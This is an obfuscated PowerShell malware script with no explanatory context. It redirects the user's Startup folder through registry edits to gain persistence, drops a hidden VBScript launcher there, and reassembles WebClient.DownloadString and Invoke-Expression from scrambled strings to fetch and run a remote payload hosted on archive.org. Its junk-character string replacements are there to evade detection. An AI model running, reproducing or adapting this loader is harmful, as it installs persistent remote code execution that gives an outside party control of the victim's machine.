$FVYTFYTFYFYFYFYFGY="C:\UsTRYCTUVYIBUCRYCTUVYIBTCRYTUYic\Run".Replace("TRYCTUVYIBUCRYCTUVYIBTCRYTUY","ers\Publ")
$YGUYGNUHYGUYGYUGYGUYGYUG = "Cr######################ory".Replace("######################","eateDirect")
[system.io.directory]::$YGUYGNUHYGUYGYUGYGUYGYUG($FVYTFYTFYFYFYFYFGY)
start-sleep -s 5
$HIUHIUHJIUHUYUUIHYIUIUHI = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"
$GVFHTFYUGRTYUGYFTFYYUH= "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"
$JYHGYUGUYGFYTFDTRDTRDFTR = "C:\Us--------------c\Run".Replace("--------------","ers\Publi")
$BFYHGTFYHFHUYGYU8YUYYUYG ="C------------blic\Run".Replace("------------",":\Users\Pu")

Set-ItemProperty -Path $HIUHIUHJIUHUYUUIHYIUIUHI -Name "Startup" -Value $JYHGYUGUYGFYTFDTRDTRDFTR;
Set-ItemProperty -Path $GVFHTFYUGRTYUGYFTFYYUH -Name "Startup" -Value $BFYHGTFYHFHUYGYU8YUYYUYG;
start-sleep -s 5
$Content = @'
Dim FGCHJVGFGHJKHJGFGFHGJHKGHFGHJVGHHGFDHF
Set FGCHJVGFGHJKHJGFGFHGJHKGHFGHJVGHHGFDHF= CreateObject("WScript.she"&"ll")
DGTFHJVBNBHGHCCGHJVBKNLJKHJHKL= "P" +Chr(79) & "W"
RGDHTCJVBKBKHJVGHCFHGJVBKKNLJHJ=Chr(69) & "r" & Chr(83) & Chr(72) & Chr(69) & Chr(76)
GXFHCGJVHBJHVJGCHGJVBKNLJJJHBKN= Chr(76) & " $SRDTFYGUH"&"IUGYFTDRYDTYU"&"FUGIHLUGY"&"FUTDUFY='https://ia601505.us.archive.org/28/items/server-wsk-358675/Server_wsk_358675.txt';"
SRDTHFYJHTDRFHYVJBKYFJTUI = "$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHD"&"FGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Rep"&"lace('SDFGDHFJGKHFGHDFGDHJGKHFJ"&"GDHFSHGDHJKGFHGDHFSHGDJFK"&"JGKJKHFJGDH','LO"&"ADSTR');"
RGDTHJVBKHJHTHYVJBKJTHCVJBK ="$RGHTFYGUKLHIDZXF"&"CGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRS"&"EASGRDHTFYUGKKGYFTDHRGDM.NEDT"&"HFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Re"&"place('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFT"&"DHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTF"&"YGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGU"&"KYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFY"&"GUKLHIDZXFCGVJHBHVGCFXDZFGXFDGTFHJVBNBHGHCCGHJVBKNLJKHJHKLHHHHHHHHHHHHHRDTFYGUH"&"IUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('DGTFHJVBNBHGHCCGHJVBKNLJKHJHKLHHHHHHHHHHHHH','HCGJV ).$SFDDH"&"GFJGKHLJKHJGHFGFGDHFGHK($S');"
RDTFHYJGBKYFTDFYJKUYFTYJVBKJTFYJK = "$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');"
SETRDYFGUGYYTDRTYUGUHILIHUYFTFYGUHILJ = DGTFHJVBNBHGHCCGHJVBKNLJKHJHKL+RGDHTCJVBKBKHJVGHCFHGJVBKKNLJHJ+GXFHCGJVHBJHVJGCHGJVBKNLJJJHBKN+SRDTHFYJHTDRFHYVJBKYFJTUI++RGDTHJVBKHJHTHYVJBKJTHCVJBK+RDTFHYJGBKYFTDFYJKUYFTYJVBKJTFYJK+""
FGCHJVGFGHJKHJGFGFHGJHKGHFGHJVGHHGFDHF.Run SETRDYFGUGYYTDRTYUGUHILIHUYFTFYGUHILJ,0
'@
Set-Content -Path C:\Users\Public\Run\New.vbs -Value $Content

start-sleep -s 5
$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://ia601505.us.archive.org/28/items/server-wsk-358675/Server_wsk_358675.txt';
$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S')
$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');
&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');